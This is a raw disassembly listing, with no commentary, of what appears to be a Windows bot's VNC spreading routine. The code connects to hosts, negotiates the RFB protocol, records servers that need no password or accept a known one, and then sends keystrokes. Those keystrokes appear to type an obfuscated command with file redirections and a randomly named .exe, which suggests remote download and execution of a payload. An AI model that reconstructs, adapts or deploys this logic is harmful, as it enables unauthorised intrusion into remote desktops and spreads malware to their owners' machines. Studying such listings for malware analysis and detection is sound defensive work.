		push	dword ptr [esp+20h]
		call	dword_456F8C	; send
		lea	eax, [esp+20h]
		push	1
		push	eax
		push	dword ptr [esp+1Ch]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+28h]
		push	0
		push	eax
		push	dword ptr [esp+1Ch]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+20h]
		push	2
		push	eax
		push	dword ptr [esp+1Ch]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [esp+0F8h]
		push	edx
		push	offset dword_4439B4
		push	offset dword_43EE78
		push	eax
		call	sub_429B03
		push	100h
		push	0
		push	ebx
		call	sub_429760
		add	esp, 28h
		cmp	dword_456DA8, 0
		jnz	loc_408A3C
		lea	eax, [esp+2A08h]
		push	eax
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		mov	dword ptr [esp+2Ch], offset dword_457CF8
		jnz	short loc_40899F
		mov	dword ptr [esp+2Ch], offset dword_457C40


loc_40899F:				; CODE XREF: .text:00408995j
		lea	eax, [esp+0ECh]
		push	offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
		push	eax
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		lea	eax, [esp+110h]
		push	eax
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		call	sub_401A77
		push	eax
		call	sub_401A77
		push	eax
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		push	dword_454A30
		push	dword ptr [esp+78h]
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
		push	offset aSSSSDSSSSSSSSS ; "%s %s	%s %s %d >> %s %s %s %s	%s >> %s "...
		push	100h
		push	ebx
		call	sub_429BBE
		add	esp, 68h
		jmp	loc_408AC8
; ---------------------------------------------------------------------------


loc_408A2B:				; CODE XREF: .text:004083A2j
					; .text:004083D0j ...
		push	dword ptr [esp+10h]
		call	dword_4372D8	; closesocket


loc_408A35:				; CODE XREF: .text:0040832Aj
					; .text:00408387j ...
		xor	eax, eax
		jmp	loc_408B8E
; ---------------------------------------------------------------------------


loc_408A3C:				; CODE XREF: .text:00408977j
		push	offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
		push	offset dword_456BA8
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		push	offset dword_456BA8
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		push	offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
		push	esi
		call	sub_401AF0
		push	eax
		push	offset dword_4569A8
		push	offset dword_4567A8
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		push	dword_4567A0
		push	offset dword_4565A0
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
		push	offset aSSSSDSSSSSSS_0 ; "%s %s	%s %s %d >> %s %s %s %s	%s >> %s "...
		push	100h
		push	ebx
		call	sub_429BBE
		add	esp, 74h


loc_408AC8:				; CODE XREF: .text:00408A26j
		push	ebx
		xor	esi, esi
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_408B11


loc_408AD5:				; CODE XREF: .text:00408B0Fj
		movsx	eax, byte_4556C8[esi]
		push	eax
		push	offset dword_43EE88
		lea	eax, [esp+48h]
		push	3
		push	eax
		call	sub_429BBE
		lea	eax, [esp+50h]
		push	0
		push	eax
		push	dword ptr [esp+2Ch]
		call	sub_408029
		add	esp, 1Ch
		push	0Ah
		call	edi ; dword_437190
		push	ebx
		inc	esi
		call	sub_4293A0
		cmp	esi, eax
		pop	ecx
		jb	short loc_408AD5


loc_408B11:				; CODE XREF: .text:00408AD3j
		push	ebp
		call	edi ; dword_437190
		mov	ebx, [esp+14h]
		lea	eax, [esp+38h]
		push	0
		push	eax
		push	ebx
		call	sub_408029
		add	esp, 0Ch
		push	7530h
		call	edi ; dword_437190
		xor	esi, esi
		lea	eax, [esp+1Ch]
		inc	esi
		push	esi
		push	eax
		push	ebx
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+26h]
		push	0
		push	eax
		push	ebx
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+1Ch]
		push	2
		push	eax
		push	ebx
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		mov	eax, [esp+2AB4h]
		mov	dword_4556C0, esi
		shl	eax, 6
		lea	eax, dword_43A380[eax]
		inc	dword ptr [eax]


loc_408B82:				; CODE XREF: .text:0040824Dj
					; .text:004082D7j
		push	dword ptr [esp+14h]
		call	dword_456FF0	; closesocket
		mov	eax, esi


loc_408B8E:				; CODE XREF: .text:00408A37j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 29ECh
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408B99	proc near		; CODE XREF: .text:00409680p

var_74		= byte ptr -74h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch
arg_C		= word ptr  10h
arg_E		= word ptr  12h
arg_10		= dword	ptr  14h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h
arg_20		= byte ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= byte ptr  30h
arg_38		= byte ptr  3Ch
arg_48		= byte ptr  4Ch
arg_50		= byte ptr  54h
arg_56		= word ptr  5Ah
arg_58		= word ptr  5Ch
arg_5C		= dword	ptr  60h
arg_12C		= byte ptr  130h
arg_15C		= byte ptr  160h
arg_283C	= byte ptr  2840h
arg_2840	= dword	ptr  2844h
arg_2844	= dword	ptr  2848h
arg_2848	= byte ptr  284Ch
arg_286C	= byte ptr  2870h
arg_2870	= dword	ptr  2874h
arg_2874	= dword	ptr  2878h
arg_2878	= byte ptr  287Ch
arg_2898	= byte ptr  289Ch
arg_28D0	= dword	ptr  28D4h
arg_2900	= dword	ptr  2904h
arg_2904	= dword	ptr  2908h
arg_290C	= dword	ptr  2910h
arg_2914	= dword	ptr  2918h
arg_2934	= dword	ptr  2938h
arg_2938	= dword	ptr  293Ch

		mov	eax, 289Ch
		call	sub_429B60
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, offset dword_43EF80
		lea	edi, [esp+10h+arg_8]
		movsw
		movsb
		mov	esi, offset dword_43EF7C
		lea	edi, [esp+10h+arg_1C]
		movsw
		mov	ax, word_43EF70
		xor	ebx, ebx
		movsb
		mov	esi, offset loc_43EF78
		lea	edi, [esp+10h+arg_4]
		movsw
		mov	[esp+10h+arg_E], ax
		mov	ax, word_43EF74
		push	ebx
		push	1
		push	2
		mov	dword_4556C0, ebx
		movsb
		mov	[esp+1Ch+arg_C], ax
		call	dword_456FD0	; socket
		cmp	eax, 0FFFFFFFFh
		jz	loc_409228
		lea	eax, [esp+1Ch+arg_2898]
		push	eax
		call	dword_456F7C	; inet_addr
		push	[esp+20h+arg_2938]
		mov	[esp+24h+arg_5C], eax
		mov	[esp+24h+arg_58], 2
		call	dword_456F38	; ntohs
		push	6
		push	1
		push	2
		mov	[esp+30h+arg_56], ax
		call	dword_4372BC	; socket
		mov	edi, eax
		lea	eax, [esp+30h+arg_48]
		push	10h
		push	eax
		push	edi
		mov	[esp+3Ch+var_20], edi
		call	dword_456EBC	; connect
		test	eax, eax
		jnz	loc_409228
		lea	eax, [esp+3Ch+arg_2C]
		push	0Ch
		push	eax
		push	edi
		call	sub_407FAF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408C74


loc_408C6D:				; CODE XREF: sub_408B99+104j
					; sub_408B99+10Cj ...
		xor	esi, esi
		jmp	loc_408D32
; ---------------------------------------------------------------------------


loc_408C74:				; CODE XREF: sub_408B99+D2j
		lea	eax, [esp+3Ch+var_10]
		and	[esp+3Ch+arg_38], 0
		push	eax
		lea	eax, [esp+40h+var_18]
		push	eax
		mov	esi, offset aRfb03d_03d	; "RFB %03d.%03d\n"
		lea	eax, [esp+44h+arg_2C]
		push	esi
		push	eax
		call	sub_429E0E
		add	esp, 10h
		push	3
		pop	eax
		cmp	[esp+3Ch+var_18], eax
		jl	short loc_408C6D
		jnz	short loc_408CA7
		cmp	[esp+3Ch+var_10], eax
		jl	short loc_408C6D


loc_408CA7:				; CODE XREF: sub_408B99+106j
		push	5
		push	eax
		lea	eax, [esp+44h+arg_2C]
		push	esi
		push	eax
		call	sub_429B03
		lea	eax, [esp+4Ch+arg_2C]
		push	0Ch
		push	eax
		push	edi
		call	sub_407FE8
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_408C6D
		lea	eax, [esp+3Ch+arg_28]
		push	4
		push	eax
		push	edi
		call	sub_407FAF
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_408C6D
		mov	ecx, [esp+3Ch+arg_28]
		mov	eax, ecx
		mov	edx, ecx
		and	eax, 0FF0000h
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, 0FF00h
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[esp+3Ch+arg_28], eax
		sub	eax, ebx
		jz	loc_409228
		mov	edi, dword_437190
		dec	eax
		mov	ebp, 3E8h
		mov	ebx, offset byte_4556C8
		mov	esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
		jz	short loc_408D43
		dec	eax
		jz	loc_40914D
		xor	esi, esi
		inc	esi


loc_408D32:				; CODE XREF: sub_408B99+D6j
		push	[esp+3Ch+var_2C]
		call	dword_4372D8	; closesocket
		mov	eax, esi
		jmp	loc_40922A
; ---------------------------------------------------------------------------


loc_408D43:				; CODE XREF: sub_408B99+18Dj
		push	1
		push	offset word_454038
		push	[esp+44h+var_2C]
		call	sub_407FE8
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40914D
		lea	eax, [esp+3Ch+arg_10]
		push	18h
		push	eax
		push	[esp+44h+var_2C]
		call	sub_407FAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40914D
		mov	eax, [esp+3Ch+arg_10]
		xor	edx, edx
		mov	dl, byte ptr [esp+3Ch+arg_10+1]
		mov	ecx, 0FFh
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+3Ch+arg_10+2]
		mov	word ptr [esp+3Ch+arg_10], dx
		xor	edx, edx
		mov	dl, byte ptr [esp+3Ch+arg_10+3]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+3Ch+arg_18]
		mov	word ptr [esp+3Ch+arg_10+2], dx
		xor	edx, edx
		mov	dl, byte ptr [esp+3Ch+arg_18+1]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+3Ch+arg_18+2]
		mov	word ptr [esp+3Ch+arg_18], dx
		xor	edx, edx
		mov	dl, byte ptr [esp+3Ch+arg_18+3]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+3Ch+arg_1C]
		mov	word ptr [esp+3Ch+arg_18+2], dx
		xor	edx, edx
		mov	dl, byte ptr [esp+3Ch+arg_1C+1]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+3Ch+arg_24]
		mov	word ptr [esp+3Ch+arg_1C], dx
		mov	ecx, eax
		mov	edx, eax
		and	ecx, 0FF0000h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, 0FF00h
		or	edx, eax
		lea	eax, [esp+3Ch+arg_2878]
		push	eax
		lea	eax, [esp+40h+arg_15C]
		push	[esp+40h+var_10]
		shr	ecx, 8
		push	[esp+44h+var_18]
		shl	edx, 8
		push	offset aVncD_DSNopass ;	"VNC%d.%d: %s -	(NoPass)"
		or	ecx, edx
		push	2710h
		push	eax
		mov	[esp+54h+arg_24], ecx
		call	sub_429BBE
		add	esp, 18h
		cmp	[esp+3Ch+arg_2934], 0
		jz	short loc_408E7D
		lea	eax, [esp+3Ch+arg_15C]
		push	eax
		push	offset aS_5	; "%s"
		push	[esp+44h+arg_2870]
		push	[esp+48h+arg_2874]
		call	sub_41CE4A
		add	esp, 10h


loc_408E7D:				; CODE XREF: sub_408B99+2BFj
		push	2710h
		lea	eax, [esp+40h+arg_15C]
		push	0
		push	eax
		call	sub_429760
		lea	eax, [esp+48h+var_20]
		push	1
		push	eax
		push	[esp+50h+var_2C]
		call	sub_408029
		add	esp, 18h
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+40h+var_20+2]
		push	0
		push	eax
		push	[esp+48h+var_30]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+44h+var_28]
		push	2
		push	eax
		push	[esp+4Ch+var_34]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [esp+58h+arg_50]
		push	edx
		push	offset dword_4439B4
		push	offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
		push	eax
		call	sub_429B03
		push	100h
		push	0
		push	ebx
		call	sub_429760
		add	esp, 2Ch
		cmp	dword_456DA8, 0
		jnz	loc_408FF1
		lea	eax, [esp+48h+arg_286C]
		push	eax
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		mov	[esp+48h+var_34], offset dword_457CF8
		jnz	short loc_408F65
		mov	[esp+48h+var_34], offset dword_457C40


loc_408F65:				; CODE XREF: sub_408B99+3C2j
		lea	eax, [esp+48h+arg_50]
		push	offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
		push	eax
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		lea	eax, [esp+6Ch+arg_50]
		push	eax
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		call	sub_401A77
		push	eax
		call	sub_401A77
		push	eax
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		push	dword_454A30
		push	[esp+94h+var_34]
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
		push	offset aSSSSDSSSSSSSSS ; "%s %s	%s %s %d >> %s %s %s %s	%s >> %s "...
		push	100h
		push	ebx
		call	sub_429BBE
		add	esp, 68h
		jmp	loc_40907D
; ---------------------------------------------------------------------------


loc_408FF1:				; CODE XREF: sub_408B99+3A4j
		push	offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
		push	offset dword_456BA8
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		push	offset dword_456BA8
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		push	offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
		push	esi
		call	sub_401AF0
		push	eax
		push	offset dword_4569A8
		push	offset dword_4567A8
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		push	dword_4567A0
		push	offset dword_4565A0
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
		push	offset aSSSSDSSSSSSS_0 ; "%s %s	%s %s %d >> %s %s %s %s	%s >> %s "...
		push	100h
		push	ebx
		call	sub_429BBE
		add	esp, 74h


loc_40907D:				; CODE XREF: sub_408B99+453j
		and	[esp+48h+var_34], 0
		push	ebx
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_4090D2


loc_40908D:				; CODE XREF: sub_408B99+537j
		mov	eax, [esp+48h+var_34]
		movsx	eax, byte_4556C8[eax]
		push	eax
		push	offset dword_43EE88
		lea	eax, [esp+50h+var_20]
		push	3
		push	eax
		call	sub_429BBE
		lea	eax, [esp+58h+var_20]
		push	0
		push	eax
		push	[esp+60h+var_38]
		call	sub_408029
		add	esp, 1Ch
		push	0Fh
		call	edi ; dword_437190
		inc	[esp+4Ch+var_38]
		push	ebx
		call	sub_4293A0
		cmp	[esp+50h+var_38], eax
		pop	ecx
		jb	short loc_40908D


loc_4090D2:				; CODE XREF: sub_408B99+4F2j
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+50h+var_20]
		push	0
		push	eax
		push	[esp+58h+var_40]
		call	sub_408029
		add	esp, 0Ch
		push	7530h
		call	edi ; dword_437190
		lea	eax, [esp+54h+var_3C]
		push	1
		push	eax
		push	[esp+5Ch+var_44]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+58h+var_38]
		push	0
		push	eax
		push	[esp+60h+var_48]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+5Ch+var_44]
		push	2
		push	eax
		push	[esp+64h+var_4C]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		mov	eax, [esp+60h+arg_2900]
		mov	dword_4556C0, 1
		shl	eax, 6
		lea	eax, dword_43A380[eax]
		inc	dword ptr [eax]


loc_40914D:				; CODE XREF: sub_408B99+190j
					; sub_408B99+1BFj ...
		lea	eax, [esp+60h+arg_28]
		push	10h
		push	eax
		push	[esp+68h+var_50]
		call	sub_407FAF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_409171
		push	[esp+60h+var_50]
		call	dword_4372D8	; closesocket


loc_409171:				; CODE XREF: sub_408B99+5CCj
		push	[esp+64h+arg_2914]
		call	sub_4293A0
		cmp	eax, 8
		pop	ecx
		jbe	short loc_40918E
		mov	eax, [esp+64h+arg_2914]
		and	byte ptr [eax+8], 0


loc_40918E:				; CODE XREF: sub_408B99+5E8j
		push	[esp+64h+arg_2914]
		lea	eax, [esp+68h+arg_24]
		push	eax
		call	sub_407F55
		lea	eax, [esp+6Ch+arg_24]
		push	10h
		push	eax
		push	[esp+74h+var_54]
		call	sub_407FE8
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4091C6
		push	[esp+64h+var_54]
		call	dword_4372D8	; closesocket


loc_4091C6:				; CODE XREF: sub_408B99+621j
		lea	eax, [esp+68h+var_34]
		push	4
		push	eax
		push	[esp+70h+var_58]
		call	sub_407FAF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4091E7
		push	[esp+68h+var_58]
		call	dword_4372D8	; closesocket


loc_4091E7:				; CODE XREF: sub_408B99+642j
		mov	ecx, [esp+6Ch+var_38]
		mov	eax, ecx
		mov	edx, ecx
		and	eax, 0FF0000h
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, 0FF00h
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[esp+6Ch+var_38], eax
		sub	eax, 0
		jz	short loc_409235
		dec	eax
		jz	short loc_409228
		dec	eax
		jnz	loc_408C6D
		push	3E80h
		call	edi ; dword_437190


loc_409228:				; CODE XREF: sub_408B99+5Ej
					; sub_408B99+BAj ...
		xor	eax, eax


loc_40922A:				; CODE XREF: sub_408B99+1A5j
					; sub_408B99+AA7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 289Ch
		retn
; ---------------------------------------------------------------------------


loc_409235:				; CODE XREF: sub_408B99+67Cj
		push	1
		push	offset word_454038
		push	[esp+74h+var_5C]
		call	sub_407FE8
		add	esp, 0Ch
		test	eax, eax
		jz	loc_409632
		lea	eax, [esp+6Ch+var_34]
		push	18h
		push	eax
		push	[esp+74h+var_5C]
		call	sub_407FAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_409632
		mov	eax, [esp+6Ch+var_34]
		xor	edx, edx
		mov	dl, byte ptr [esp+6Ch+var_34+1]
		mov	ecx, 0FFh
		shl	eax, 8
		xor	dl, al
		push	[esp+6Ch+arg_290C]
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+70h+var_34+2]
		mov	word ptr [esp+70h+var_34], dx
		xor	edx, edx
		mov	dl, byte ptr [esp+70h+var_34+3]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+70h+var_2C]
		mov	word ptr [esp+70h+var_34+2], dx
		xor	edx, edx
		mov	dl, byte ptr [esp+70h+var_2C+1]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+70h+var_2C+2]
		mov	word ptr [esp+70h+var_2C], dx
		xor	edx, edx
		mov	dl, byte ptr [esp+70h+var_2C+3]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+70h+var_28]
		mov	word ptr [esp+70h+var_2C+2], dx
		xor	edx, edx
		mov	dl, byte ptr [esp+70h+var_28+1]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+70h+var_20]
		mov	word ptr [esp+70h+var_28], dx
		mov	ecx, eax
		mov	edx, eax
		and	ecx, 0FF0000h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, 0FF00h
		or	edx, eax
		lea	eax, [esp+70h+arg_2848]
		push	eax
		lea	eax, [esp+74h+arg_12C]
		push	[esp+74h+var_40]
		shr	ecx, 8
		push	[esp+78h+var_48]
		shl	edx, 8
		push	offset aVncD_DSS ; "VNC%d.%d: %s - %s"
		or	ecx, edx
		push	2710h
		push	eax
		mov	[esp+88h+var_20], ecx
		call	sub_429BBE
		add	esp, 1Ch
		cmp	[esp+6Ch+arg_2904], 0
		jz	short loc_409376
		lea	eax, [esp+6Ch+arg_12C]
		push	eax
		push	offset aS_5	; "%s"
		push	[esp+74h+arg_2840]
		push	[esp+78h+arg_2844]
		call	sub_41CE4A
		add	esp, 10h


loc_409376:				; CODE XREF: sub_408B99+7B8j
		push	2710h
		lea	eax, [esp+70h+arg_12C]
		push	0
		push	eax
		call	sub_429760
		lea	eax, [esp+78h+var_50]
		push	1
		push	eax
		push	[esp+80h+var_5C]
		call	sub_408029
		add	esp, 18h
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+70h+var_50+2]
		push	0
		push	eax
		push	[esp+78h+var_60]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+74h+var_58]
		push	2
		push	eax
		push	[esp+7Ch+var_64]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [esp+88h+arg_20]
		push	edx
		push	offset dword_4439B4
		push	offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
		push	eax
		call	sub_429B03
		push	100h
		push	0
		push	ebx
		call	sub_429760
		add	esp, 2Ch
		cmp	dword_456DA8, 0
		jnz	loc_4094EA
		lea	eax, [esp+78h+arg_283C]
		push	eax
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		mov	[esp+78h+var_64], offset dword_457CF8
		jnz	short loc_40945E
		mov	[esp+78h+var_64], offset dword_457C40


loc_40945E:				; CODE XREF: sub_408B99+8BBj
		lea	eax, [esp+78h+arg_20]
		push	offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
		push	eax
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		lea	eax, [esp+9Ch+arg_20]
		push	eax
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		call	sub_401A77
		push	eax
		call	sub_401A77
		push	eax
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		push	dword_454A30
		push	[esp+0C4h+var_64]
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
		push	offset aSSSSDSSSSSSSSS ; "%s %s	%s %s %d >> %s %s %s %s	%s >> %s "...
		push	100h
		push	ebx
		call	sub_429BBE
		add	esp, 68h
		jmp	loc_409576
; ---------------------------------------------------------------------------


loc_4094EA:				; CODE XREF: sub_408B99+89Dj
		push	offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
		push	offset dword_456BA8
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		push	offset dword_456BA8
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		push	offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
		push	esi
		call	sub_401AF0
		push	eax
		push	offset dword_4569A8
		push	offset dword_4567A8
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		push	dword_4567A0
		push	offset dword_4565A0
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
		push	offset aSSSSDSSSSSSS_0 ; "%s %s	%s %s %d >> %s %s %s %s	%s >> %s "...
		push	100h
		push	ebx
		call	sub_429BBE
		add	esp, 74h


loc_409576:				; CODE XREF: sub_408B99+94Cj
		push	ebx
		xor	esi, esi
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_4095BF


loc_409583:				; CODE XREF: sub_408B99+A24j
		movsx	eax, byte_4556C8[esi]
		push	eax
		push	offset dword_43EE88
		lea	eax, [esp+80h+var_50]
		push	3
		push	eax
		call	sub_429BBE
		lea	eax, [esp+88h+var_50]
		push	0
		push	eax
		push	[esp+90h+var_68]
		call	sub_408029
		add	esp, 1Ch
		push	0Fh
